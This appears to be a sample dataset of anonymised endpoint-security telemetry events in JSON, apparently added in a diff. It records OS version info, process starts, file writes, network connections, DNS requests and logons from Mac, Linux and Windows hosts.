+{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"} +{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"} +{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"} +{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"} +{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"} +{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"} +{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"} +{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"} +{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"} +{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"} +{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"} +{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"} +{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"} +{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"} +{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"} +{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"} 